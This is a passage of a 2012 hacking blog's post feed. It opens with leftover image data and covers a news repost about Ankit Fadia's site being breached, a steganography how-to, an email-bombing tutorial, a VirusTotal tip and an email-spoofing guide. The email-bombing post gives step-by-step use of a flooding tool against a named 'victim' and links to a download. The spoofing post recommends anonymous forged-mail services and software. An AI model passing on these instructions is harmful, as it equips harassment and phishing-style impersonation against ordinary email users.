wrxym8WojZpc5VFHFV1JqfTiZDD+c6HSt2YMCqXBNd9+OGHcJIcRiaTyTY3FXr27FkOJvEdOJiEk03K+oVz587JKebUKi7cc+fmOJ1O9QLwn1VvnEuSg8Orjac0a92CfJPiGqj1rbySfyLQEClBx+xPNOFTp05lZWVlZWX9RbOsrKzTp0/n5ORAwrBxdnY2g0Lz8vIMBkNycrJer78bgOFe5kssX75cxiBDwsnJyTk5OcQYUsmNpiVnklfbmciNLrEuHjVetLqznKOd4jWhX7Srjo6OFsV4Uiqu5zVxd1XH2+fzdWgGfoRmpYCMK1Tj808//bS5ufnTTz8lScimIv6P2dnZJ0+etNlstbW1zDPgdABv169fl8JvYV0YHpSGhRWRj4kj2tra0LGHh4ebmpqAJdfAXVJSUiKaDcoqKCJaFuialZ0gaiwXlmK0ajv7JAnMxxGRgmSLtmpLglWn0xnmSBN2Mg3GqvW4S1M69SdwtclkkltIxbAgX5RkgZ8syyavZtNKIeQawnwQcUAk4JfKYv6bouFz8XJqyGnI66X7QE3RqcGCGr3bbDYcCofDQVAjVVy6EydO0JYhU3zff/990Pv++++fOnUqDL25ubn5+fnZ2dm0ImRmZiYmJq5cuRIAU4alApidCQJghs6pNR7p6elEGqdPnwbJqHmq34LrJXVan3zyCXdkWDBMSxNet0S/CNco0gSZkkZWkQwSsKb5jP4KeJvGCSFY9TJqa2slLL98+TJeQGVl5aVLlzh3qNm02+1FRUW5ubknTpzYv39/enq60Wisr6+HJ0Ep3E69Nx9KraiAVo6Jurq66upqvhmCfzEp4quqquIg8/v9oVCotbW1rKzMZrNJhoPqAskUCrVCSgJgSU/I8EMxme4ibqpVK9MXMnRpQ1WlLQ6oC3urmVv5xFJtZJRNGeZIzImzymWjDwuGi5VVQ+J8qhkyQaZH69FVgSTStHwVyHJq7gqgCrxlJVJFRYVXa/CSIF+gK+1Dbm1ZmRqBS40XbG/W5uGYTCaHw4Gn6dUqSXQnT54EvZAwPIzBvfhUVPOBMU4+kHzs2DEZIjsvgGU0JC17pIKBsaSUTp06lZ2dLYq0aGbixthsNq/Xi9aCNEWRFgkk3EVcUzW9JKGv+kpgL8XV165da2xslF4IsTrFVI9dwCwv4+PACVCR5Z2kPXDsHQ5HRUWFx+Mh95Cbm3v48OEDBw4wEiw7O7uhoYFJBoODg93d3RR14wBzqYC2WrGPP/6YBzU1NVIujxwlEoB4KDymUHxoaKijo6O8vLy0tFS4keRqWCgoN3oY/Uq6UR6D4WJtFmJYgkTOYrPWv27WqsEQRwmS8QzFTw4bFyM+p/jPFIGizXIZkQyMgyByt+rqC9GJQ2tVhlpxPdJRAIy92jpeybqRLgHSly9fRkxl6hieNnQtm1YwwbBq6jN8ujQh8a26XC60BnR+m82mi4Su+MzZ2dnIS9nZ2Tk5OeDcYDDwjTP2/dChQ8w9J40Ulgemi1AY+KGHHpJWYbXt/rXXXsvJyRGq552l7oRfv0vbN3Pp0iW+IxGlpcSytbUVUpIIcF6SBHXC27jlPE++CjBA49XV1Ty+evUq3Y4YvyTY9erVq0g1ROCkLrk5yrSpSAiVOTk5J06cyMjISE9Pf/rpp+kWtlqtHAFkkiR+rqur4/ThauWYqKqq4kMp9AHAPMnxIV9RbW2tKhw0Nja2tLT4fL5gMNjd3Y1UAzV5tRI/FATRddTyBpGL1BQOdxuMIa8X7SrsHhXKEtaSwFgcUYe2eUT8cLO2QRvFS8QkyNxoNEobRmlpqfjVItjyDmruV1JoqtTi1eaEebXAGA9F2A/xCa+bA5ovCl7ha5espyw042vEeeTeENGe14d94WHniwjREgDzenHd/w9ThlFilqOwWAAAAABJRU5ErkJggg==" /> </div><br />
<div class="MsoNormal"><br />
<br />
A self proclaimed Indian Hacker, Ankit Fadia became a favorite target of young Indian Hackers the first week of 2012. In January Mr. FADIA got hacked two to three times by different young Indian hackers. Few days back members of Teamgreyhat managed to breach the website of Mr.Fadia and today another Hacker, "<b>Himanshu Sharma</b>" with the code name “<b>нα¢кєя</b>” hacked the same server on which Ankit's website was hosted.</div><div class="MsoNormal"><br />
</div><div class="MsoNormal">In this attack these hackers have successfully hacked into the Ankit Fadia's offcial site and exposed lots of credentials including sensitive data, student details, Database credentials (DB Name, User Name & Password) and many more. Not only was Ankit's website hacked, 2508 others sites hosted on same server also got hacked and their databases were also dumped by these young hackers.<br />
<a name='more'></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTAeAhFSzLEmO4696wrve0J-muDA4Y8mbjRDGyEszS3QZPn2IUPaLUvU_J9B7wT0eWTnLM66DrQRKu-l25FgLEzimd_euz3stoXJnBThc0-NqaueHsjty2vUGKMXsa7nrBnYvuyOM6uGM_/s1600/iQg7Rdd1aYhoU.JPG" rel="follow" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="iQg7Rdd1aYhoU" border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTAeAhFSzLEmO4696wrve0J-muDA4Y8mbjRDGyEszS3QZPn2IUPaLUvU_J9B7wT0eWTnLM66DrQRKu-l25FgLEzimd_euz3stoXJnBThc0-NqaueHsjty2vUGKMXsa7nrBnYvuyOM6uGM_/s640/iQg7Rdd1aYhoU.JPG" title="iQg7Rdd1aYhoU" width="640" /></a></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><br />
<div class="MsoNormal">Ankit Fadia offers Ankit Fadia Certified Ethical Hacker (AFCEH) certificates to those who take his courses on ethical hacking, where he gives lectures on security tools, techniques and methods. Mr. Fadia also comes on national TV at MTV on a techie show called "<b>What The Hack</b>". Most of the time he claims that he will give a reward to anyone who will hack him (May be in order to promote himself as the most secured hacker). Well, there are 100's of Hackers who hacked Ankit Fadia after this award was announced! So, will Mr. Ankit gives these guys a reward or he will take legal action against them ?</div></div><br />
<div class="MsoNormal">Last year Mr. Ankit <a href="http://thehackernews.com/2011/02/ankit-fadia-ethical-hacker-and-cyber.html">was also hacked</a> by Indian and Pakistani Hackers multiple times using various methods. After being hacked then, why has Mr. Fadia not fixed all vulnerabilities ? Is he not aware about all hacking methods ? Or may be he is not able to fix his own website? <b>These Questions are being asked various AFCEH students, who got certification of Hacking from Mr. Fadia.</b></div><div class="MsoNormal"><br />
</div><div class="MsoNormal">Mr. Himanshu Sharma at the age of 17, has revealed vulnerabilities for many Fortune 500 companies. He has been listed in the “<b>Hall of Fame</b>” for companies like: Google, Microsoft, Facebook, Apple , Samsung, India TV,IIT Bombay Rediff, Mediafire, Dreamtemplate, TemplateMonster, Channel [V], BBC, Sony and Universities like Stanford University, Virginia University and More..</div><div class="MsoNormal"><br />
</div><div class="MsoNormal">Why aren’t these young hackers getting any chance to grow ? Why are they not getting a chance to present their talent? Why aren’t they able to help the nation by working for security? Most obviously, these young hackers have much more talent than any other self claimed Hackers. Moreover, Himanshu and all these hackers want to challenge Mr. Fadia on national TV. Well we know that it's a big demand by kids, but they have guts to prove themselves.</div><div class="MsoNormal"></div><div class="MsoNormal">courtesy- http://thehackernews.com </div></div>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-4109247145476032480.post-46667269128054425642012-03-17T11:19:00.000-07:002014-01-08T05:11:12.458-08:00The TOOL userd by TERRORISTS | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on">Today we talk about Stenography, Stenography on the internet is the process of sending a data in a hidden format inside a picture and then send, The Internet security has become advance but it is not that advance that it can scan each and every image.<br />
there are 2 ways to carry out stenography:<br />
1. Manual using command prompt<br />
2. Automated tool called S-tool<br />
HOW to do it manually,<br />
1. You require the message in text,<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPr-bbbD0QJP9YNhYWyF0lw4ZyleYkwERuJnr1m6XL6YWTj7XqGItjsPn5a9R2aQZisljoH3_bm6CD5HoB4Qk3Nie6D6lSSAhc6eQElMgACkJeMLT8VMcnG0rnrczMWMLuy5-ndEL06bw/s1600/message.JPG" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="271" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPr-bbbD0QJP9YNhYWyF0lw4ZyleYkwERuJnr1m6XL6YWTj7XqGItjsPn5a9R2aQZisljoH3_bm6CD5HoB4Qk3Nie6D6lSSAhc6eQElMgACkJeMLT8VMcnG0rnrczMWMLuy5-ndEL06bw/s640/message.JPG" width="640" /></a><br />
2. We require a picture we want to to hide the message with,<br />
<a name='more'></a><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZgL2xleNamKJoPeHKbKXQkMcb-Jv4xI0dqTx8bWVSWcjC0bVQkjdOZ5XlM1MZUu6uYx5aoylWwLITNMmVNJU6o7WJNvoY8TeKIkvoh2VpiW0iK8Vprmy1Z2_FKaRbtJ6Bo4JSYzqaWbY/s1600/picture+to+be+used.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZgL2xleNamKJoPeHKbKXQkMcb-Jv4xI0dqTx8bWVSWcjC0bVQkjdOZ5XlM1MZUu6uYx5aoylWwLITNMmVNJU6o7WJNvoY8TeKIkvoh2VpiW0iK8Vprmy1Z2_FKaRbtJ6Bo4JSYzqaWbY/s1600/picture+to+be+used.JPG" /></a></div> 3. Now we have both the picture and the message place them in same folder say C Drive, now lets hide our message inside the picture for this you need to go to<br />
Start-->Run-->type cmd press enter-->in the black window type cd\<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid0jbfdHmrVt_Y7ndLPs95az_nZ3jV66sANRXQ69YgVyZ0cKSo72Zybr5C85d4pDPjc1KEvYohL8MRJDY_M3TNXRijVc6JMM3osk7-5KwAoVrpxSTiqKysT4zK6kzEz7eoVs7UukuQYUE/s1600/cmd.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="322" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid0jbfdHmrVt_Y7ndLPs95az_nZ3jV66sANRXQ69YgVyZ0cKSo72Zybr5C85d4pDPjc1KEvYohL8MRJDY_M3TNXRijVc6JMM3osk7-5KwAoVrpxSTiqKysT4zK6kzEz7eoVs7UukuQYUE/s640/cmd.JPG" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br />
now type this code; copy /b nameofpictue.jpg+nameofmessage.txt nameofnewimagefile.jpg<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDaLfSViPsXuA0q9cZW6vmzReRDNEDDDqJ6k0dkOYqCUQFLUe6Akg8Mz-zf0tCQxSLCXBhyTDoZ54e4X5txmkunRGDoF10DasHBeuzzLpYhj4epRNKs2MrxYQQqzlDT8Shur0N8WTXtjk/s1600/output.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDaLfSViPsXuA0q9cZW6vmzReRDNEDDDqJ6k0dkOYqCUQFLUe6Akg8Mz-zf0tCQxSLCXBhyTDoZ54e4X5txmkunRGDoF10DasHBeuzzLpYhj4epRNKs2MrxYQQqzlDT8Shur0N8WTXtjk/s640/output.JPG" width="640" /></a></div>now above we can also see that i did not input the extension properly so it showed error, so make sure you input the extensions properly. Now you can Go back to C Drive and you will see that a new file NEWPIC.JPG has been created.<br />
result is here,<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX78nXbLEOGe36MQMJ2H7u2xdH-Pp8e26O6d2cam60n9C8VpK55CZyswfY3ViOS1c3ukrhAUGnKTbrDY6QJOZpA6pupNgpqKNo6vlOWmQ0Cq6j1krMrIL6wlSiQm33ExTXotAzh1JaY0w/s1600/resultmanual.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX78nXbLEOGe36MQMJ2H7u2xdH-Pp8e26O6d2cam60n9C8VpK55CZyswfY3ViOS1c3ukrhAUGnKTbrDY6QJOZpA6pupNgpqKNo6vlOWmQ0Cq6j1krMrIL6wlSiQm33ExTXotAzh1JaY0w/s640/resultmanual.jpg" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinTVwh25-k_5VLeYOL1sIDSALDEOgIcH0BzIrtni4L2QQikNzpDHvriPaDa6l9_dunJ6plpQ5MAmj2Q1NfFTZagS1UxnrmT0OFhG0hIugpUfoEM48BIOj3TiM_u5MBmIQmu6l8K9EW4SA/s1600/resultmanual.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div><br />
and now when we open the newpic.jpg in notepad file, for that you need to right click on picture-->goto open with-->select choose program-->select notepad and click OK..!!<br />
inside the notepad you will see many bizarre code written out of no where which cannot be understood<br />
Now to view your message just DRAG DOWN...!!!<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifiWoT9hHcXDic3SOnzjTjI0C1Q42x9P14Y77NA5qtqZgND-_M7v0pKBTRgA1tnx6b-pof-IxgUwUmGqKy8c_qMej4dahjvtMKz7AtUveSGF-Y0CkW5PPXq_ox6Er4Ww3dD7SLLgvImPk/s1600/hidden.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifiWoT9hHcXDic3SOnzjTjI0C1Q42x9P14Y77NA5qtqZgND-_M7v0pKBTRgA1tnx6b-pof-IxgUwUmGqKy8c_qMej4dahjvtMKz7AtUveSGF-Y0CkW5PPXq_ox6Er4Ww3dD7SLLgvImPk/s640/hidden.JPG" width="640" /></a></div><br />
NOW Terrorist also know that this technique has become very common, so what they have found is a very simple method, they encrypt their message, For that we are going to use a very powerful tool called S-tool...!!<br />
and this window will appear,<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqT75kx4gTyVprh4Fr_vc0x79VBFcen_Jz3A1v4QAdtB5LJ3KjORQkNn_pw1BTDq688qhPxKMqtdw-LFn7e1lNuW_w4Q4OF6O3_cx1pf3KnM15vx2HAZkD-pA1DwK06rBwxV_rjGIS8ew/s1600/stool.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="337" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqT75kx4gTyVprh4Fr_vc0x79VBFcen_Jz3A1v4QAdtB5LJ3KjORQkNn_pw1BTDq688qhPxKMqtdw-LFn7e1lNuW_w4Q4OF6O3_cx1pf3KnM15vx2HAZkD-pA1DwK06rBwxV_rjGIS8ew/s640/stool.JPG" width="640" /></a></div> now remember that this software only accepts .GIF and .TIFF files, so if you have a .jpg image just go to paint and save it as .gif,<br />
now just DRAG and DROP the image on the software, and your image will appear on the screen, now to input the message into the picture's code just DRAG and DROP the MSG.TXT on the image and this screen will appear,<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZFsTM4f2vu01_yXSoxsA4HJFf9sjIplsV_LwJAgrdKWR5OtKVyu8-rd5CTqtEEMuqL8FRJ8PAuf3wXVfoQJYww0jqW8A44LjIeRf5E2sNB3dDgKz5rWcaV44iP60LJV5tCdwX6_XehMI/s1600/msgdragged.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="303" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZFsTM4f2vu01_yXSoxsA4HJFf9sjIplsV_LwJAgrdKWR5OtKVyu8-rd5CTqtEEMuqL8FRJ8PAuf3wXVfoQJYww0jqW8A44LjIeRf5E2sNB3dDgKz5rWcaV44iP60LJV5tCdwX6_XehMI/s640/msgdragged.JPG" width="640" /></a></div>now passphrase is same as password, type it and verify it and choose IDEA algorithm as default and save it,<br />
now when you see the code of the saved file it will not show and the code along with the picture both are encoded, and to view the message you need to DRAG AND DROP the NEWPIC.JPG to S-TOOLS<br />
<br />
Right Click -->Select REVEAL--> TYPE PASSWORD--> A SCREEN will appear with msg.txt in it, click on it and save the message,<br />
DOWNLOAD FROM HERE----> <a href="http://download.chip.eu/en/S-Tools-4.00_41921.html" target="_blank">CLICK HERE </a><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPr-bbbD0QJP9YNhYWyF0lw4ZyleYkwERuJnr1m6XL6YWTj7XqGItjsPn5a9R2aQZisljoH3_bm6CD5HoB4Qk3Nie6D6lSSAhc6eQElMgACkJeMLT8VMcnG0rnrczMWMLuy5-ndEL06bw/s1600/message.JPG" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><br />
</a></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-53610581507957841002012-03-16T09:01:00.000-07:002014-01-08T05:11:21.372-08:00Email BOMBING...!!! | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on">Many of you have either heard or experienced something like "MY EMAIL ACCOUNT WAS FLOODED WITH FAKE EMAILS.. and ALL OF THE EMAILS WERE SAME!! OMG..!!".<br />
Well I this case the victim was bombed or flooded with emails, Now Today we will talk about how do hackers or script kiddies do email bombing.<br />
<br />
<a href="http://en.wikipedia.org/wiki/Email_bomb" target="_blank">Email Bombing </a>is the an online abuse where a victim is assaulted by receiving multiple fake emails to his/her email account thus making it difficult for the user to extract the important mails from the useless mails.... It might be easy to search if the bomb number is only 30 or 40 but it becomes impossible to search for mails if the email account is bombed with 10,000 fake emails..!!<br />
This incidence happened in Chandigarh itself in the office of Yatra.com when their email id was bombed with more than 1000 emails and the attack kept on repeating itself for the whole night and it became impossible for the authority to stop or avoid it,<br />
<br />
The Automated tool that we will be using is MESS BOMBER, it is a simple tool used to bomb a victim's email account.<br />
<br />
<a name='more'></a> You can download it from here: <a href="http://www.ziddu.com/download/6949283/MESSBOMBER.rar.html%20" target="_blank">HERE</a><br />
1. When you open Mess Bomber you will see this window, <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivPYwNTvO21YXyTvXmy-trwn0Uy52MwvUg0R1nvd2ERrv7B0FwNAe35ui78gkJIb6mSIB_pWFOlDUxbNPS3zvUoOcgTIzIPV0RDwPLkx-yAtD_R0_v7jTkQMxJxAJblouMO1zzWKStKjk/s1600/messbomber.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivPYwNTvO21YXyTvXmy-trwn0Uy52MwvUg0R1nvd2ERrv7B0FwNAe35ui78gkJIb6mSIB_pWFOlDUxbNPS3zvUoOcgTIzIPV0RDwPLkx-yAtD_R0_v7jTkQMxJxAJblouMO1zzWKStKjk/s1600/messbomber.JPG" /></a></div>Now Enter,<br />
a. EMAIL ID of Victim<br />
b. NUMBER of Times the email to be sent to Victim<br />
c. SUBJECT of the Email<br />
d. MESSAGE in the body of the Email<br />
<br />
2. Now when you Click on<b> SMTP SETTINGS</b> this window will appear,<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtH8Zn9X-V5NW2Ifxd9GtI-k9DhCmyO4i4o_uKdSyIKK-PJT7qZzbNih_sigxsUimRF-U-eQDBdQDlPxrFR2a_g5XCTeBxNbL3lMNoPzpm9F9zZXSywjrWk9QochFp9SNOwpnV2H3-2is/s1600/messbomber.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtH8Zn9X-V5NW2Ifxd9GtI-k9DhCmyO4i4o_uKdSyIKK-PJT7qZzbNih_sigxsUimRF-U-eQDBdQDlPxrFR2a_g5XCTeBxNbL3lMNoPzpm9F9zZXSywjrWk9QochFp9SNOwpnV2H3-2is/s1600/messbomber.JPG" /></a></div>now to implement this you first need to create a Fake GMAIL account and Enter the full username and password in the desired spaces<br />
3. Now only one thing is left <b>CLICK BOMB</b>. sit back and relax after a few minutes, because it might take time depending upon the number of emails being sent.<br />
4. once the Bombing is complete you will receive a message box "EMAIL BOMBED", just click OK work Done.<br />
<br />
if in the SMTP setting you do not enter username or password properly you will recieve an SMTP error every time so do enter them properly. </div>Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-4109247145476032480.post-67014866812473795742012-03-14T08:14:00.003-07:002014-01-08T05:11:41.215-08:00The Most Powerful Antivirus | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">Today I bring to You the MOST POWERFUL ANTIVIRUS, an antivirus which can detect any type of Virus which scans a file with the top most antiviruses,</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><a href="https://www.virustotal.com/" target="_blank">VIRUS TOTAL</a> is a website which has a very unique feature this website has a total of Worlds 42 Top ANTIVIRUS and it scans a file with all these antivirus and tells whether a file is infected or not..</div><div style="text-align: justify;"></div><a name='more'></a><br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmSItNO0QKsYGEDDYF5et672kQUr5Xx06Nwmm7t5jRQvKc7CN4AAOSZzqp2NO5ou1N9UV820Wjk9RXod8C_Q2LC5k72IZZF4NbZyozgvoSMhuFpZmHqyVE_-u_uQym6KE38Hp0298BvdY/s1600/virus.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmSItNO0QKsYGEDDYF5et672kQUr5Xx06Nwmm7t5jRQvKc7CN4AAOSZzqp2NO5ou1N9UV820Wjk9RXod8C_Q2LC5k72IZZF4NbZyozgvoSMhuFpZmHqyVE_-u_uQym6KE38Hp0298BvdY/s400/virus.JPG" width="400" /></a></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">How to use this website,</div><div style="text-align: justify;">1. Goto <a href="http://www.virustotal.com/">www.virustotal.com</a> </div><div style="text-align: justify;">2. The Website will ask to upload the file that one wishes to use but is doubtful </div><div style="text-align: justify;">3. click on SCAN IT.</div><div style="text-align: justify;"> It will Automatically scan your file with worlds 42 Top Antiviruses and thus also give a review that the antivirus you are using is useful or not. </div><br />
website can also be used to scan LINKS and URLS for any virus, </div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-10534907554587270692012-03-13T06:17:00.000-07:002014-01-08T05:11:35.263-08:00Sending FAKE E-Mails | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">Have You ever received an Email which says that you have won a lottery for 1,000,000 $ and you have to send your name and Email Id and Other Details to this address, Or Have you received Emails from IBM, MICROSOFT or other Huge companies saying that they have hired you as an Associate or as Team Lead or sometimes as CEO of the Company, </div><div style="text-align: justify;">Well ALL of these Mails are FAKE...!!!</div><div style="text-align: justify;">This Module consisted of 2 Sections:</div><div style="text-align: justify;">1. How Do FAKE-Mails Come to you ?</div><div style="text-align: justify;">2. How to check, wether a Mail is Fake or NOT...?</div><a name='more'></a><br />
<div style="text-align: justify;">How to Send Fake Mails... (Best part about all of these automated tools is that if you reply, the reply will go to the designated address and will be received if the address actually exists)</div><div style="text-align: justify;">Fake email sending is technically known as Email Spoofing or Mail Forging, Now most of the Fake Mail Senders use mainly the online automated tools which are available at,</div><div style="text-align: justify;">1. <a href="http://anonymizer.in/">Anonymizer.in</a> this website does not reveal the ip of the sender and thus the sender's identity is never disclosed because the website does not maintain any data base or visitor log. </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsTMJaGTm1Uz1qCqJ356JhggMjqEYRCoaqIYPmHXmxbKj2JUw61inxg2wPxbBpAaFryY74zoCZ_5mlqgWhlksnndEemQ91t1LZNV5z72vbI27S6xshspcGMEM4CRpN-6M9CzqyRFG2Au8/s1600/fake+mail+anony.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsTMJaGTm1Uz1qCqJ356JhggMjqEYRCoaqIYPmHXmxbKj2JUw61inxg2wPxbBpAaFryY74zoCZ_5mlqgWhlksnndEemQ91t1LZNV5z72vbI27S6xshspcGMEM4CRpN-6M9CzqyRFG2Au8/s1600/fake+mail+anony.JPG" /></a></div><div style="text-align: justify;">2. Nemesis Anonymous Mailer (<a href="http://www.ziddu.com/download/8386270/ANONYMOUSMAILER.rar.html" target="_blank">download here</a>) is a stand alone application after downloading you just have to write down the name of sender and the receiver and the subject and the Message and waalaah... The best part about this software is that it sends the mail via a proxy server thus it also morphs your identity and because it belongs to the anonymizer community your IP will not be revealed.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZKXDxxkHcbyoaqC1Q_KI2Zva15LECH7Hn80gDCBgjYGX0V0AfMKsNLZiof281rF9-F0xqGENk-ZPVB4t01LYWsixrH-YJJ5eVaBol0crUwRxeYBFXKz0VNo1Qj1ucHDlNwfa8BWJ-eks/s1600/nemesis.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZKXDxxkHcbyoaqC1Q_KI2Zva15LECH7Hn80gDCBgjYGX0V0AfMKsNLZiof281rF9-F0xqGENk-ZPVB4t01LYWsixrH-YJJ5eVaBol0crUwRxeYBFXKz0VNo1Qj1ucHDlNwfa8BWJ-eks/s1600/nemesis.JPG" /></a></div><div style="text-align: justify;">3. <a href="http://emkei.cz/">EMKEI.CZ</a> is the best amongst all the automated tools online.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYYiu-xuAo1UeQBNLZtTuj_VjxjpAme0gGAHatBs3OguczX0WvZwUSZMJBjPn8M5WQvP3kzSb9MiNa7WuZgwUM-NnyaAqy_KZJ1_cA_Jkcw4bZv8iEU7-G2sNXSMa5-we6LnK63-9CQ7k/s1600/emkei.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYYiu-xuAo1UeQBNLZtTuj_VjxjpAme0gGAHatBs3OguczX0WvZwUSZMJBjPn8M5WQvP3kzSb9MiNa7WuZgwUM-NnyaAqy_KZJ1_cA_Jkcw4bZv8iEU7-G2sNXSMa5-we6LnK63-9CQ7k/s640/emkei.JPG" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-vrmPhJdbhvQsUOPfd8Efc8jyRSL9xS-n0aqsBNoDlM78IqVrRvtE8hy_td6JLhzo4GIH5SwJLYwIqYqHzHXoyYyT0I4Z0FeiHLbEkx8tb-dHJ4zGwiXEjaODqo18wKtGTFihPyr1BXI/s1600/emkei2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br />
